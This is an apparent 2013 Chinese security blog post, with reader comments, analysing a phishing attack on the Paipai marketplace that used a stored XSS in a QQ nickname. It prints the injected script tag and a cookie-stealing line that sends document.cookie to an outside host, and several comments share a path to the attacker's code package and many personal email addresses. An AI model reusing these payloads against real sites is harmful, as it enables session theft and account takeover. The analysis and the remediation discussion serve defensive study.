昨晚我们团队捕获到一起高级钓鱼攻击，紧急响应后，对背后的团队技术运作能力表示欣赏：终于不是老套的、土得要死的方式。这次还真唤起我心中的那个魔鬼，有趣，这样才有趣！:)
等黑产（非其他团队）用这样的方式已经等了很久很久，虽然还不够高明，但已经有进步了！根据伟大的统计学，互联网上铺天盖地的攻击，能正巧被我们发现的概率不高，这次既然发现了，可以推出利用这一攻击手法估计早几个月已经在实施，而准备好这套计划，估计时间上会更久。
开始进入重点：
在拍拍上和卖家交流后，卖家发来这条消息：
亲，亲反映的售后服务问题，我们给亲退款58元作为优惠，亲填写下退款信息：http://mcs.paipai.com/RWsiZVpoe
亮点1
被诱骗访问上面这个链接后，会302跳转到：
http://shop1.paipai.com/cgi-bin/shopmsg/showshopmsg?shopId=2622893717&page=1&iPageSize=1&t=0.8497088223518993&g_tk=2019233269&g_ty=ls&PTAG=40012.5.9
这里面是一个存储型XSS，这个XSS不错在于，攻击者通过修改自己QQ昵称后，昵称被拍拍读取并没适当的过滤就展示出来了，导致存储型XSS。如下图：
上面这个链接的代码如下：
var msgContent = [false,false,1,false,'2351926008:<script/src=http://t.cn/zjhKDPE> ',' ','0000000000','2012-11-11','04:58:35','店主回复','000','2012-11-11','04:59:33',false,'2684118472:</script> ',' ','0000000000','2012-11-11','04:57:25','店主回复','00000','2012-11-11','04:59:25','']; showLeaveMsg(msgContent, 1);
注意红色标注的位置。
亮点2
上面红色标注的位置，那个js链接是短网址，这个手法已经司空见惯了，短网址利于迷惑，同时内容短，对于一些数据提交限制长度的功能来说，这是一个好方法。
亮点3
打开这个短网址，跳转到了如下链接：
http://my.tuzihost.com/qq2.js
这个链接里会生成一个拍拍真的页面，同时至少执行了如下脚本：
document.writeln("<iframe width=100% height=1 frameborder=0 scrolling=auto src='http://my.tuzihost.com/2/c.php?c="+escape(document.cookie)+"'></iframe>");
这个脚本很邪恶，就是专门盗取Cookie的。今年315后，认识Cookie的同学已经很多了，拍拍的Cookie比较脆弱，被盗取就意味着身份权限被盗。
在qq2.js这个文件里，攻击者明显是做了足够的研究，包括提取关键Cookie字段，通过代码里的痕迹与风格，估计可以推出是谁写的:)
亮点4
qq2.js所在的my.tuzihost.com首页做了伪装，让人以为是一个正规的导航站。
亮点5
my.tuzihost.com存在列目录漏洞，通过这个我查看了攻击者写的其他代码，可以看出用心了……
通过周边的一些信息推断：
1，攻击者收集到的Cookie应该是存入了MySQL数据库； 2，应该有个后台能显示这些Cookie信息； 3，有邮件通知功能（也许还用作其他）； 4，攻击者（或者说团队更合适）不善于隐藏，也许他们分工真的明确，写利用代码的人不一定参与了攻击，否则不太可能犯下一些明显的错误；
结束
我们已经第一时间将这个攻击反馈给腾讯安全中心，我发现他们已经修复了漏洞，效率真高。
这次攻击实际上还不高级，不过非常有效，钓鱼钓的不是密码，而是关键Cookie，足矣秒杀拍拍了。我曾经科普过《关于社交网络里的高级钓鱼攻击》，大家可以查看微信的历史消息，看看这篇文章。
这次攻击在黑产中运用值得引起业界的警惕，实际上过去几年，这样的攻击我遇见过几起，不过没证据表明是黑产在运用，基本都是：just for joke。
你，终于要来了？
一大波求源码的正在靠近……
xfk 2013-05-03 1楼
shuajifen@126.com
求源码，很感兴趣，想研究一下这个过程的实现，谢谢分享！
null 2013-05-03 2楼
求源码，正好研究下，感谢余弦大神
null 2013-05-03 3楼
gaoheby@126.com，忘记邮箱了
teamtopkarl (1级) 2013-05-03 4楼
teamtopkarl#qq.com
发我这个邮箱，看看！余总
Justin (1级) 2013-05-03 5楼
留邮箱看源码。。xiaoyao_zyd@hotmail.com
qwaszx321 (1级) 2013-05-03 6楼
研究源码！173287517@qq.com
黑客 2013-05-03 7楼
……………..这特么有意思吗
Nicky 2013-05-03 8楼
jusnic@163.com
求源码，我是来学习的
pwolf (1级) 2013-05-03 9楼
不就一个xss么，这特么有意思么？？
pwolf (1级) 2013-05-03 10楼
搞得跟发现新大陆一样，就这点水平啊
黑产 2013-05-03
@pwolf 来点精彩的？p wolf
pwolf (1级) 2013-05-03
@黑产 不敢说有什么精彩的，之前也搞过钓鱼，直接拿qq号密码不是更方便？拿cookie反而还要绕一道，而且还有时限，脱裤子放屁么。
反过来说，我要有xss，就直接拿cookie了，还钓个毛鱼啊？？
看着这种小题大做，哗众取宠不爽而已，可能是我技术不够，随便放两句，对事不对人，欢迎pk
余弦 2013-05-03
@pwolf 欢迎evilcos@gmail.com来pk，不在这嚷嚷
落叶纷飞 (1级) 00day.cn，打站尸，脚本猪，WEB安全攻城尸 2013-05-03
@余弦 牛怒了
double 2013-05-05
@余弦 pk吧，喜闻乐见。大家也长长见识，别遮遮掩掩的
dacble (1级) 2013-05-03 11楼
求源码，，，研究一下了
1054039663@qq.com
xx 2013-05-03 12楼
在qq2.js这个文件里，攻击者明显是做了足够的研究，包括提取关键Cookie字段，通过代码里的痕迹与风格，估计可以推出是谁写的:)
另外，想要我这边比较完整源码的同学，留下邮箱，并做个简要说明，我集中密送。
这是亮点，说明搂猪已经把他们给日下来了
bbm 2013-05-03 13楼
xuxiaoyue49@163.com
求源码…..
pentest 2013-05-03 14楼
源码研究:pentest@yeah.net
c0me0n 2013-05-03 15楼
w0aicanglaoshi@126.com求源码，感谢!
wowo2013good@163.com 2013-05-03 16楼
wowo2013good@163.com求源码，感谢!
凤凰 2013-05-03 17楼
phoenix–@msn.com，求源码，谢谢！
知道创宇 保龙哥 2013-05-03 18楼
看到《qqzone第一天。。。。。。》，我笑了。哈哈，你这也叫发现？把截获的原始样本，拿出来，看看，附件呢？业内的人你还是别糊弄的好，研究技术，就好好研究，干么这样呢，心里自己知道，就算宣传做的也好点。对你们彻底无语了，撸撸睡吧。
糊里糊涂 2013-05-03
@知道创宇 保龙哥 你是冒牌的吧。冒充别人名义有意思么？
保龙 2013-05-03
@知道创宇 保龙哥
你是谁阿？这是我的邮件：kn0wns1c@gmail.com。
Tycx2ry 2013-05-03 19楼
求源码 谢谢！！！
Tycx2ry@safekeyer.com
bccsafe (1级) 2013-05-03 20楼
求源码研究研究
bccsafe@163.com
lone (1级) 京城天桥下卖报纸 2013-05-03 21楼
希望可以看看是不是那个人。
lone@blackbap.org
晴天小铸 2013-05-03 22楼
435420828@qq.com 球源码
saline (3级) 2013-05-04
@晴天小铸 回头找我，我给你~
up 2013-05-03 23楼
up8560#yeah.net 非常感谢。
ifconfigme 2013-05-03 24楼
ifconfigme@163.com
求源代码学习一下
m0zh3 (1级) 2013-05-03 25楼
求源码学习,738124692@qq.com
miss_freebuf (1级) 2013-05-03 26楼
学习下 misszone520@163.com
ark 2013-05-03 27楼
http://my.tuzihost.com/admin.php已经破解出密码了 留邮箱发源码
XXX 2013-05-04 28楼
my.tuzihost.com/__dodo__/dodo.zip 自己去打包吧，我打包好了。现在上面是马场了，大牛不发源码只好自己拿啦。
kindsjay (1级) 2013-05-04 29楼
yfscx7758258@163.com 求一份.
完美 2013-05-05 30楼
来freebuf必须先看评论再看文章
Spider (1级) 一直菜鸟。 2013-05-05 31楼
求份源码学习 517722094@qq.com .
jiayzhan (2级) 2013-05-06 32楼
大多数的漏洞利用是多个原理组合使用的结果，这个也一样,社会工程学 + Stored XSS 的组合构成了本次的钓鱼漏洞利用场景。如果Stored XSS解决了，这个漏洞的价值至少折扣掉7成。于是我们来谈Stored XSS:
如何解决？ 源于直接或者间接来源于客户端的数据被二次（或者多次）输出到客户端之前没有做正确适当的编码所致。
编码？
对，编码，HTML/URL/JS/…的转义处理即为编码，如何识别出语法环境正确的使用编码，才是王道。攻击与利用本身不是我们做技术的人追求的目标，解决方案才是真正的目标。呵呵。任何一个普通的XSS漏洞都可以构建成可怕的攻击，只是你需要时间精力去实现，实现了攻击，对于你意义何在？ 你的目的是攻击吗？不应该，而是如何防止与解决。对于黑客产业链上的人另当别论，我相信这里的人多数不是链子上的人，我也不是。
Wun (1级) 2013-05-06 33楼
我也弱弱的发个邮箱求源码 willis.chen.real@gmail.com
jiayzhan (2级) 2013-05-06 34楼
这份攻击哪里需要源码？你们的问题让我感到极度困惑，呵呵
sniperhk 2013-05-06 35楼
我觉得是针对特定目标的钓鱼吧，黑产？光靠个XSS来吃饭会不会饿死都是个问题
kokbora88 2013-05-06 36楼
XSS 很有前途 。 未来的黑客面临xss
马化腾 2013-05-06 37楼
@余弦 孩子，请别怀疑我们的应急响应态度！
demon 2013-05-07 38楼
我还真没看见红色标注。